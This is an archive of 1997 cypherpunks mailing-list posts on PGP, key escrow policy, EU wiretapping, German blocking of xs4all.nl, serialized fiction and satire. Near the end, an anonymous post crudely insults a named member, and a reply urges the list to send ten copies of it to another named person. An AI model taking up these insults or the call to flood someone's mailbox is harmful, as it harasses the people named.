|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Saxman <jesaxman@eos.ncsu.edu>
Date: Tue, 15 Apr 1997 19:46:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: FORBES on Phil Zimmermann and PGP
Message-ID: <3.0.1.32.19970415224551.00694880@pop-in.ncsu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

A decent non-technical article...
>By making a martyr of programmer Philip Zimmermann,
>the feds gave a giant boost to his encryption software. 
>
>                      Banned in Washington
>                      By Scott Woolley 
>http://www.forbes.com/forbes/97/0421/5908162a.htm

Also, these appear to be prevous articles in FORBES
>Can you get rich off a 232-year-old mathematical
>equation? Some entrepreneurs specializing in computer
>encryption are going to try-if they can stop squabbling
>long enough to divide the spoils. 
>
>                      Patented secrecy 
>                      By Simson L. Garfinkel
>http://www.forbes.com/extra/special1.htm

and

>Are you worried that a Nosey Parker, a competitor a
>G-man could pry into your computerized files? Check out
>this encryption software. 
>
>                     How to keep a secret 
>                      By Susan Adams 
>http://www.forbes.com/extra/5707108a.htm


-----BEGIN PGP SIGNATURE-----
Version: 4.5

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zGIkshuBGGw7jcZ3XsWKReb/7q0JiaNz0BMwUIrE+j/+jGAdjbzmE95Mbxkt0nlV
CVR9gF5by1E=
=eKIw
-----END PGP SIGNATURE-----

Jim Saxman              
jesaxman@eos.ncsu.edu
PGP KeyID: 5E5D6469





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-lambda-en@freenix.fr
Date: Tue, 15 Apr 1997 14:20:02 -0700 (PDT)
To: lambda-en@freenix.fr
Subject: lambda 3.02 - Big Brother goes international
Message-ID: <199704152049.WAA26196@fasterix.frmug.org>
MIME-Version: 1.0
Content-Type: text/plain


---
lambda 3.02
April 14, 1997
Sender: owner-lambda-en@freenix.fr
Precedence: bulk

* Private Communications Under International Scrutiny:
--> Key escrow encryption: The OECD says no, individual countries endorse it
--> A global pact for universal wiretapping gains ground in Europe, with
support of the U.S. and other industrialized nations

* Short-Circuits:
--> Social security data causes privacy concerns in U.S., France


* * * * *

OECD tries to prevent privacy abuses on encryption policy

The Paris-based Organization for Economic Cooperation and Development
released on March 27 its "Guidelines For Cryptography Policy," after more
than a year of intense talks between officials from the 29 governments (see
http://www.oecd.org/dsti/iccp/crypto_e.html).

Yet there was one pleasant surprise: the guidelines do not explicitly urge
governments to establish "key escrow" encryption schemes, although
individual countries will be able to act according to its own wishes, for
"national security" purposes.

According to the Washington, DC-based Electronic Privacy Information
Center, among the eight basic principles adopted by the OECD, one is the
rejection of key escrow encryption (see point 6, "lawful Access"). "The
U.S. sought endorsement for government access to private keys. Initial
drafts of the guidelines included this recommendation. The final draft does
not. OECD countries rejected this approach," said EPIC. The good point is
an "endorsement of voluntary, market-driven development of crypto products.
The OECD emphasized open, competitive markets to promote trade and commerce
in new cryptographic methods."

However, the United States, France and Britain have taken steps to pursue
key escrow schemes -- but northern Europe isn't signing on.

* USA: From EPIC Alert 4.05: "The White House has released a new draft
proposal on key escrow encryption to the Congress. The draft (dated March
12) is entitled the 'Electronic Data Security Act of 1997.' The legislation
is the latest attempt to push forward the result the Administration sought
to achieve with the failed Clipper Chip initiative -- ensuring government
access to all encrypted communications through government-escrowed keys."
Resources:
http://www.epic.org/crypto/
http://www.cpsr.org/cpsr/nii/cyber-rights/web/crypto_amer.html

* France: A decree that will clearly establish the next trusted third-party
scheme for business and individuals has not yet been released by the
government. Draft proposals (see lambda 3.01) mentioned certain "national"
preferences for future TTP agencies. These proposals have divided
government officials (it may be an obstacle to common-market principles
covering the free flow of capital and workers in the European Union). And
the OECD clearly states (see point 8, "International Cooperation") that:
"In order to promote international trade, governments should avoid
developing cryptography policies and practices which create unjustified
obstacles to global electronic commerce. Governments should avoid creating
unjustified obstacles to international availability of cryptographic
methods."

* Britain: The U.K.'s Department of Trade and Industry released its
proposal last month on licensing encryption services. According to Ross
Anderson, the famed Cambridge University-based cryptographer: "Their effect
will be to ban PGP and much more besides," because licensing will be
mandatory. An excerpt of the draft regulations say:

"We intend that it will be a criminal offence for a body to offer or
provide licensable encryption services to the UK public without a valid
licence. [...]
Public will be defined to cover any natural or legal person in the UK. [...]
Encryption services is meant to encompass any service, whether provided
free or not, which involves any or all of the following cryptographic
functionality - key management, key recovery, key certification, key
storage, message integrity (through the use of digital signatures) key
generation, time stamping, or key revocation services (whether for
integrity or confidentiality), which are offered in a manner which allows a
client to determine a choice of cryptographic key or allows the client a
choice of recipient/s."

Anderson commented: "The licence conditions imply that only large
organisations will be able to get licences: small organisations will have
to use large ones to manage their keys (this was the policy outlined last
June by a DTI spokesman).
The main licence condition is of course that keys must be escrowed, and
delivered on demand to a central repository within one hour. The mere
delivery of decrypted plaintext is not acceptable except perhaps from TTPs
overseas under international agreements."
The DTI report: http://www.cl.cam.ac.uk/users/rja14/dti.html
Other resources:
http://www.cpsr.org/cpsr/nii/cyber-rights/web/crypto_brit.html

* Scandinavia: Despite these measures, the Nordic countries meanwhile
released user-friendly plans to offer a secure and non-escrowed electronic
mail system, called the Nordic Post Security Service (Denmark, Finland,
Norway and Sweden). Every Scandinavian citizen will soon be offered the
possibility of opening an e-mail account using smart card technology that
allows for digital signatures and strong encryption of up to 1024
bit-length keys, a high level security. The private key will be embedded on
the card, and no TTP system is planned.

* * * * *
Europe is launching a universal wiretap network

The British watchdog group Statewatch revealed confidential documents from
the European Union's intergovernmental meetings that show a global
wiretapping system is under way among Europe, the United States and other
industrialized countries.

Legally speaking, the resolution and memorandum agreed among the EU's 15
countries have not yet been accepted by national parliaments, so it has no
value except as a clear and profound indication of political will.

See the full report, archived on the lambda's server thanks to Statewatch:
http://www.freenix.fr/netizen/swreport.html

Tony Bunyan, the director of Statewatch, published a communique at the end
of February explaining the basic purposes of the wiretap plan:

-- fwd message --
"The Council of the European Union and the FBI in Washington, USA have been
cooperating for the past five years on a plan to introduce a global
telecommunications tapping system. The system takes advantage of the
liberalisation of telecommunications -- where private companies are taking
over from national telephone systems -- and the replacement of land/sea
based lines and microwave towers by satellite communications. Telephone
lines are now partly land-based or under sea or via microwave land-based
towers but the new generation of telecommunications will be totally
satellite-based."

The EU-FBI initiative notes the demise of:
1. state-owned telephone companies
2. nationally-based telephone systems is concerned about:
3. the problems faced with intercepting "mobile" phones and encrypted
communications and wants to ensure:
4. there is harmonisation of national laws on interception
5. to ensure that telecommunications provider business cooperate with the
police and internal security
6. the equipment produced has standards which can be intercepted
7. as many countries as possible to sign up and thus create a de facto
global system (through provisions of equipment etc to third countries).

A related disclosure in a book by Nicky Hager shows that instead of
"suspects" and "targets" the ECHELON system simply trawls the airwaves for
"subversive thoughts" in written form and increasingly in verbal form.
ECHELON is run under the 1948 UKUSA agreement by the US, UK, Canada, New
Zealand and Australia."

-- end of fwd message --

* * * * *
Short-Circuits:

Social security data causes privacy concerns in U.S., France

The Internet site of the U.S. Social Security Administration was closed due
to privacy concerns, in that it supplied information about an individual's
personal income and retirement benefits, the Washington Post reported April
10. Abstracts from the Edupage press review:
"The shut-down followed receipt by the Administration of a harshly critical
letter written by a bipartisan group of legislators who said the site's
security systems were inadequate. To obtain information, a computer user
needed merely to supply a name, address, telephone number, place of birth,
Social Security number, and mother's maiden name -- items that are
available in many private databases."

In France, the government adopted on April 2 a draft law that extends the
use of social security numbers, known as NIR, to tax authorities (the
French equivalent to the U.S.'s Internal Revenue Service). The NIR is one
of the most sensitive pieces of social data in Europe, since it classifies
individuals according to their place of birth and is linked to all social
benefits files. Earlier attempts in the 1970s to extend the NIR to other
parts of the government had failed. The government passed these measures
officially to fight fraud in social benefits households (minimum salary,
housing aid, family pensions, etc.). The national data privacy commission,
the CNIL, along with the League for Human Rights, expressed great concerns
about the plan, which, if implemented by parliament, could especially harm
low-income people.

--- end of lambda 3.02 --- www.freenix.fr/netizen/302-e.html
Jerome Thorel, April 1997.
English proof-reader: K. N. Cukier
---
To unsubscribe the lambda bulletin, send to majordomo@freenix.fr the
following command:
unsubscribe lambda-en
to subscribe:
subscribe lambda-en <your e-mail>
###




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 16 Apr 1997 00:40:08 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 33-34
Message-ID: <3354828A.5DDC@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


BDS IV


Schultz arrived promptly at six o'clock. His aide handed both
the Cowboy and Melissa a newly acquired wardrobe, fit for a ceremony
of high distinction.

"Don't be long," Schultz admonished them, "the
Cowboy is the guest of honor."

The head guard at the main gate smiled as he looked at the paperwork
Schultz had presented to him. He had long had a personal enmity
with Schultz, resenting the way that he threw his weight around
in all areas of the facility, lording it over those who were actually
above him in authority.

"There is no paperwork on Dr. Adam's departure, Schultz.
I'm afraid that is quite unacceptable."

Schultz hefted a heavy, swift-moving boot into the guard's groin,
sending him, knees buckled, to the pavement, in enormous pain.

"Look again, friend.", Schultz said casually.

"Yes.", the guard groaned, handing back the paperwork
quickly, when it appeared that Schultz might repeat his performance,
"Everything seems to be in order."

They walked to the waiting limousine, with Schultz's aide thumbing
through the papers, mumbling,
"I know that I prepared the proper paperwork for Dr. Adams,
Mr. Schultz."

Schultz pulled a slip of paper out of his pocket, handing it to
his aide, with a grin, saying,
"You did. I hate that prick.", Schultz laughed, glancing
back at the guard, who was still on his knees, cursing in pain.


A short time later, the aide appeared to be quite nervous as he
pulled the limousine into the alleyway behind Bubba Rom Dos IV's
former 'safe-house'.

"I'm not so sure that this is a good idea, Mr. Schultz."

Schultz gave his aide a look of cold disdain for questioning his
judgment, with a hint of violent fury skirting his reply,
"Would you rather I had said, 'Please.', when I asked you
to turn in here?"

"No, sir. No, sir. I'm sorry, sir. Very..."

"Shut up, you imbecile!", Schultz roared, cutting the
man off.

The four of them stepped out of the limousine. Schultz asked the
Cowboy, with a tone of utmost courtesy,
"Any plans to escape, and leave your friends hung out to
dry, Cowboy?"

The question needed no answer. Schultz smiled serenely at his
aide, mocking his still-present fear, turned his back on the Cowboy
and moved towards the rear door of the 'safe-house'.

"Come, gentlemen," he turned to nod politely to Melissa,
"and ma'am, of course. Let's sit and have a short drink before
we continue. It will be the last chance we have to talk, I'm afraid."

Schultz led them through the building, past the chaotic disarray
resulting from the abrupt interruption of the previous night's
meeting, to a small room in the back. He sat gingerly down on
the small Afghani rug in the center of the small room, motioned
for the others to join him, and began pouring each of them a glass
of Jim Beam from the half-full bottle of Bubba's Private Reserve
that had been left behind in the chaos.

"You are not the only one who will be retiring after
tonight, Cowboy.", Schultz said, lifting his glass in toast
to his adversary, who returned the gesture.

"There is something I felt that I must share with you, Cowboy,
since it concerns both of us, and has for some forty-odd years.
It is something even my esteemed aide will find interesting, I
am sure," he lifted his glass in toast to his aide, who replied
in kind, "since it concerns something known only to myself
and the Shadow."

Everyone waited, with interest, for Schultz to continue. He drew
the moment out by pausing to fill everyone's shot-glasses.
"With your departure, Cowboy, Nuthouse Number Nine will cease
to exist."

"The Shadow had it built, as well as staffed and populated
with his best security forces," he paused to laugh, "including
Jesus#1 and Jesus#2-and myself-for the express purpose of being
ready to deal with the remote possibility of the appearance of
a dead man, or one of his heirs.
"The 'dead man'-whose body he had never personally seen,
and hence his allowance of the possibility he had lived-was the
Author, the man who wrote The Xenix Chainsaw Massacre-C.J. Parker
I.

"So now, you see, my career ends along with yours, Cowboy.",
Schultz toasted him once again.

"You really shouldn't have gone to all of that trouble, just
for me.", Cowboy told Schultz, facetiously.

"I'm glad he did.", Melissa enjoined, noticing, out
of the corner of her eye, the odd look that Schultz gave her.

"We really should be going.", the aide said nervously,
glancing at his watch.

"Yes, of course. Thank you.", Schultz nodded to his
aide, who appeared relieved that he had not angered Schultz, once
again.
"I have worked for the Shadow for forty-three years now,"
Schultz said, rising to his feet, "but I have been 'my own
man' for much longer than that.", he continued, pulling an
antique pearl-handled Colt 45 automatic out of his jacket, aiming
and firing it in one swift motion.

Schultz lowered the smoking firearm, placing it back in its holster,
and turned to the Cowboy, who stood staring at Schultz's dead
aide.

"Bubba D'Shauneaux IV, at your service, sir." He bowed
graciously, and smiled.


A Drive In the Country


"But why did you have to be so absolutely cruel and violet
with him?", Melissa asked Schultz, seeming perturbed at him.

The Cowboy and D'Shauneaux both laughed heartily at the question.

"Dr. Adams, if I had taken tea and crumpets with the Cowboy
every afternoon, then I think the Shadow might have suspected
something was amiss." D'Shauneaux told her.

The Cowboy and D'Shauneaux laughed again, at Melissa's embarrassment
at having asked such a naive question, with such an obvious answer.

"Well, I still think that you're absolutely abominable.",
Melissa said, in a huff, not really meaning it, but mad at them
for laughing at her so much.

They laughed, even more, at this.

The two men grew suddenly somber, as D'Shauneaux looked at his
watch and told the Cowboy,
"I suppose that you must be on your way, Cowboy. I'm sorry
that I can't accompany you."

"The Shadow would be less than pleased to see you, I'm afraid.",
the Cowboy shook his head. "And it will be far more effective,
psychologically, if I arrive voluntarily, on my own."

Melissa, looking at the Cowboy with great concern, saw him viewing
her with the same concern, as he spoke to D'Shauneaux, saying,

"You can watch over Dr. Adams, I trust, until this thing
is decided, one way or another?"

"Yes, of course.", came Schultz's immediate reply.

The Cowboy turned to Melissa, taking her gently in his arms.
"Thanks for everything, Doctor Melissa. I know D'Shauneaux
will take good care of you, he's the best."

It was strange for Melissa to think of this violent, abominable
man, as she so recently regarded Schultz, in charge of her safety.
The Cowboy seemed to sense her concern, telling her,
"Please. Do whatever he asks of you, it's important. The
lives of all of us will be hanging in the balance for the next
few hours. So try to remember, Melissa, that no matter what it
is he asks of you," a trace of a devious smile began to cross
the Cowboy's lips, "it may be the last request of a dying
man."

The Cowboy laughed uproariously at his own humor, and Melissa
was about to give him a tongue-lashing for suggesting such a beastly
thing, until she glanced at Schultz, and saw him blushing madly,
turning a bright beet-red. She instinctively toned-down her response
a bit, saying,
"I'll do nothing of the sort.", she saw Schultz, out
of the corner of her eye, looking like a puppy-dog that had just
been kicked, and she turned away, so that he wouldn't see her
blush as a result of the beyond-motherly emotions it evoked in
her.

"I'll walk you to the car, Cowboy.", she said, tugging
him along.

The two of them hugged one another for an eternity, then kissed
gently and Cowboy turned to leave. As he climbed behind the wheel
of the limousine, he looked up at Melissa, and admonished her,

"You know, Doctor, forty-three years is a long time for a
person to have to hide any display of basic humanity from constantly
watching eyes. I've no doubt that D'Shauneaux is very vulnerable
to you, now that he is in a position to actually let himself feel
years of repressed emotions, without fear of discovery."

Melissa glanced back at Schultz...D'Shauneaux, it was so confusing...with
concern, knowing the burden he must have had to bear, those many
years. The Cowboy knew that he had hit upon exactly the right
nerve to set Melissa up for his final teasing, as he said,
"So please, be gentle with him."
Melissa threw him a blistering glance, as he drove away.

"Men!", she swore, turning to walk back to the waiting
Schultz.

As they drove out into the countryside, where D'Shauneaux had
a lakeside cabin that had been waiting forty-some years for this
day to arrive, it was obvious that he was not comfortable with
small-talk, but even less comfortable with expressing his real
thoughts and emotions, which he had needed to guard so very closely
for so many years. He was also extremely uncomfortable with being
in Melissa's presence, now that he was fully free to express whatever
it was that he felt toward her, but unable to bring himself to
do so.

"My lord," she thought to herself, "he blushes
every time I look at him, for heaven's sake. How could I not have
noticed anything for all these years? How could he have
not shown any feelings for me all these years?"

All of their attempts at normal conversation had been short, and
had turned quickly into embarrassed silences. Melissa tried a
new tack, however, asking him,
"D'Shauneaux, is the danger really as severe as the Cowboy
says?"

"Yes, all that, and more.", he replied, comfortable
to be speaking of something that had been very important to him
for many years.

"It must have been very difficult for you, all these years,
living with that kind of knowledge, and being able to do nothing
but wait, and stay prepared. It must have been a terrible burden
on you."

"It had to be done...but, yes, it was difficult.",
D'Shauneaux took a deep breath, and Melissa knew that it was taking
every ounce of his courage to continue. "It was very difficult
working with you."

He had said it, without even a glance in her direction, as if
it were no big deal to have said it, but Melissa knew that it
would be a mistake to reply to his statement directly.

"I don't know where you and the Cowboy find that kind of
courage," she told him. "Knowing the little that I do,
I'm terrified...absolutely terrified." She let herself
shiver, which was not hard to do, thinking of what might be coming.

Melissa moved over in the seat, gently, sitting beside D'Shauneaux,
without looking at him.
"Do you think you could hold me just a bit? Please?"

D'Shauneaux put his big arm around her ever so gently, as if afraid
he might hurt her. She could tell that he felt awkward, but she
knew that he would get better at it...with practice.

Melissa closed her eyes and rested her head on his shoulder. She
would see to it that he got plenty of practice.


Chapter 33 - BSD IV / Chapter 34 - A Drive In the
Country








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 15 Apr 1997 23:23:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: xs4all.nl
Message-ID: <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The DFN - science network in Germany has blocked access to the
dutch xs4all.nl server after an order of the Bundeskriminalamt
(BKA), the german FBI.

Users of DFN have confirmed that today. If somebody wants to follow
up on it, the public relation office of DFN can be reached at (49)
030 - 884-29942 (Miss Quandel).

Ciao

Harka

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=8wdj
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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 15 Apr 1997 23:25:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Introducing newbies t
Message-ID: <TCPSMTP.17.4.16.2.18.12.2780269260.1605793@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I've just written a brief installation guide for PGP called
"PGPSteps". It's not meant to compete with any of the FAQ's but
rather intended to be a short and easy reference for DOS/Windows
users, who want to install PGP.

If you are interested in a copy, please reply privately...
Comments are very welcome as well.

Ciao

Harka

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rdGE2poxf0P6vK3xVz5OZKQzFR0NvEgDlfoR/GbplpgeTBRNLeMfQQ==
=iwVf
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 16 Apr 1997 05:56:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: A Rumor and Reputation Paradox...
In-Reply-To: <v03020945af76bb8cd2a1@[139.167.130.246]>
Message-ID: <0nJAm1200YUd01pRY0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Re: Rumor's regarding Tommy Hilfinger's remakrs, I'm not sure it's as
simple as he said/he didn't say. True, he didn't spurt racism on
Oprah, however, <http://www.forbes.com/forbes/97/0421/5908142a.htm>
has some quotes that indicate that he might very well have made
comments derisive to black culture if he *had been on Oprah. Mayhaps
the reason that the rumors are so persistant is that they are so
plausible. In that case, maybe they shouldn't been seen so much as a
failure of the reputation economy...

Qoutes from Tommy Hil:
"Many of these people would rather have a Rolex than a home"

"I don't condone violence, and I think 'gangsta rap' should be
 outlawed, but the music is powerful because the musicians are
 irreverent and don't follow the rules. I don't tell them where to 
 make their money, and I don't tell them where to spend their money."

Tommy Hil and other "street" fashion designers are about exploitation.
There is no respect or community there. I suspect the rumors' success
in bsed on that. They are false, but they represent truthful
attitudes.

Bleah, enought literary criticism for today,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Mon, 14 Apr 1997 22:16:04 -0700 (PDT)
To: <cypherpunks@toad.com>
Subject: Re: FCPUNX:Advocating Violence
Message-ID: <199704150514.WAA03565@proxy1.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:29 PM 4/13/97 -0800, Jim Bell wrote:
> Looked at traditionally, "we" have a
> military because "they" have militaries.  There appears to be no way out of
> this game, and thus in that context militaries could be viewed as a public
> good, or at least a public necessity.  But give the public a relatively easy
> option to exit this game, and that public good becomes a public evil.
> Naturally, it doesn't appear that way to the people who profit from such
> waste:  Government officials and employees, etc.

Area defence is a public good, and therefore can only 
be paid for by charity or by coercion.

Retribution, however is an excludable good.  Therefore it can 
be paid for by normal market mechanisms.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 16 Apr 1997 08:57:39 -0700 (PDT)
To: harka@nycmetro.com
Subject: Re: xs4all.nl
In-Reply-To: <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>
Message-ID: <199704161554.KAA02879@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>, on 04/16/97
at 01:17 AM,
   harka@nycmetro.com said:

>The DFN - science network in Germany has blocked access to the dutch
>xs4all.nl server after an order of the Bundeskriminalamt (BKA), the german
>FBI.

More like the old Gestapo.

>Users of DFN have confirmed that today. If somebody wants to follow up on
>it, the public relation office of DFN can be reached at (49) 030 -
>884-29942 (Miss Quandel).

Book burning is sceduled for next week film at 11.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

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Version: 2.6.2
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JddaqRfPrkw=
=UUHw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 16 Apr 1997 20:24:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NEW: fpi - Freedom Press International
Message-ID: <v030209dbaf7aa85512b1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date:         Wed, 16 Apr 1997 00:02:20 -0500
Reply-To:     Freedom Press <freedom@tao.ca>
Sender:       NEW-LIST - New List Announcements <NEW-LIST@LISTSERV.NODAK.EDU>
From:         Freedom Press <freedom@tao.ca>
Subject:      NEW: fpi - Freedom Press International
To:           NEW-LIST@LISTSERV.NODAK.EDU

fpi on majordomo@tao.ca   Freedom Press

FREEDOM PRESS is the world's oldest anarchist publishing group (founded in
1886). We have therefore an extensive and growing archive of material.
Further information about us will be incorporated into messages on the
list.

Messages on the list come from FREEDOM PRESS and will consist of extracts
from our publications with an emphasis on news. You should expect to
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To subscribe to fpi, send the following command:

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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Gilchrist <dgilx@mindspring.com>
Date: Wed, 16 Apr 1997 10:05:13 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cokie Roberts on How Internet Is Ruining Representative Government
Message-ID: <1.5.4.32.19970416170358.00686f7c@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


This is days old, but I had to get permission to forward it.  I thought it
was right on the money and I haven't seen or missed any discussion on it.

David

Date: Sun, 13 Apr 1997 08:01:20 -0400
From: Stephen Gilchrist <sgileod@sprintmail.com>
Reply-To: sgileod@sprintmail.com
Organization: None
References: <1.5.4.32.19970413023354.006cd1fc@pop.mindspring.com>

The Roberts are part of the problem, perfectly representing the
nauseating symbiotic relationship between journalists, politicians and
the few organizations which really shape legislation.  They aren't
really concerned about the potential move from a representative to a 
direct government. . .PACs have already done that.  What they're
concerned about is a real opportunity to upset the status quo.  

This is merely an chance for those who have become effectively
disenfranchised (by not belonging to a PAC) to have their views
considered.  The fact that this may actually help remove money from the
equation and will allow more people access to a forum and answers not
shaped by media reporting is probably a real threat to those who've
grown comfortable and rich with the current way of doing business.  No
wonder they're shuddering.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 16 Apr 1997 11:46:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Mondex
Message-ID: <199704161846.OAA20729@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


A warning label ought to be tattooed on Timmy May's head, 
saying `Warning: shit content under pressure'.

     o/ Timmy May
    <|
    / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Wed, 16 Apr 1997 16:35:01 -0700 (PDT)
To: ichudov@algebra.com
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <199704160242.VAA00733@manifold.algebra.com>
Message-ID: <Pine.CVX.3.91.970416162021.9678B-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 15 Apr 1997 ichudov@algebra.com wrote:

> > secure email.  Is there an offline mail reader for standard Unix systems 
> > that would run on a platform like you describe?  
> 
> Yes, there is one.

Okay, what is it, what are the requirements, where do I find it, does it 
require special Unix software (and if so, what is that, and where do I 
find it too)?

-Eric

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Wed, 16 Apr 1997 14:52:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Mein Fuhrer
Message-ID: <21522528000237@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




SOG-TO: www@dfn.de
SOG-CC: webmaster@xs4all.nl,radikal@dds.nl,cypherpunks@toad.com

Mein Fuhrer,
  I am happy to see that the wall around East Berlin was
torn down to prepare for the new ElectroMagnetic Curtain
that is currently being built around the whole of Germany.

  Surely the age is past when we can expect to hold power
over our citizens by enslaving their mere bodies. WE MUST
CONTROLTHEIR MINDS!

  Please be advised that the enemies of the CyberReich are
already plotting to undermine the ElectroMagnetic Curtain.
  Herr Gilmore calls our efforts at maintaining ElectroMagnetic
purity as "damage" which others on the InterNet must "route
around." Herr May seems to be questioning our right to crush
all electromagnetic emanations which are generated from 
ethnically inferior electromagnetic sources. Herr Hughes is
is producing StegoDolls with paper and plastic scissors, in
an obvious attempt to subconsciously corrupt the minds of
Aryan children. (These StegoDolls have suspiciously large
breasts, leading me to believe that they are meant to 
undermine the morals of adults, as well.)

  There are attempts being made to put mirrors in place to
begin the formation of an organization known as InterNet 
Free Europe, in an attempt to allow our citizens' minds
to immigrate beyond the walls of the ElectroMagnetic Curtain.
  However, our Western Allies are even now taking steps to
seize control over the InterNet Domain registration system,
placing it in the capable hands of the FCC. With these efforts
and the ones being made to route technological development into
increasingly narrow channels, we should be able to keep 
control of bandwidth in the hands of those with interests
similar to our own.
  There should be no reason that we cannot control the citizens
by a combination of 'shortages' of bandwidth, strict laws limiting
the use of bandwidth to 'pure' purposes, and regulations which
allow us to control the nature of encryption programs so that
we can ferret out those who attempt to "route around" our control
mechanisms.

  We must also take steps to limit our citizen's access to the
dangerous materials contained in "The True Story of the InterNet."
  The following URL should be blocked immediately, as it contains
pointers to "The Xenix Chainsaw Massacre" and "WebWorld 


************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 16 Apr 1997 07:54:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: xs4all.nl
In-Reply-To: <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>
Message-ID: <199704161454.QAA12613@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> Users of DFN have confirmed that today. If somebody wants to follow
> up on it, the public relation office of DFN can be reached at (49)
> 030 - 884-29942 (Miss Quandel).

Or try <quandel@dfn.de> and/or <maass@dfn.d400.de>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 16 Apr 1997 16:37:34 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Mondex
In-Reply-To: <199704161846.OAA20729@dhp.com>
Message-ID: <Pine.A41.3.95.970416173643.115788A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Wed, 16 Apr 1997, lucifer Anonymous Remailer wrote:

> A warning label ought to be tattooed on Timmy May's head, 
> saying `Warning: shit content under pressure'.
> 
>      o/ Timmy May
>     <|
>     / >
> 

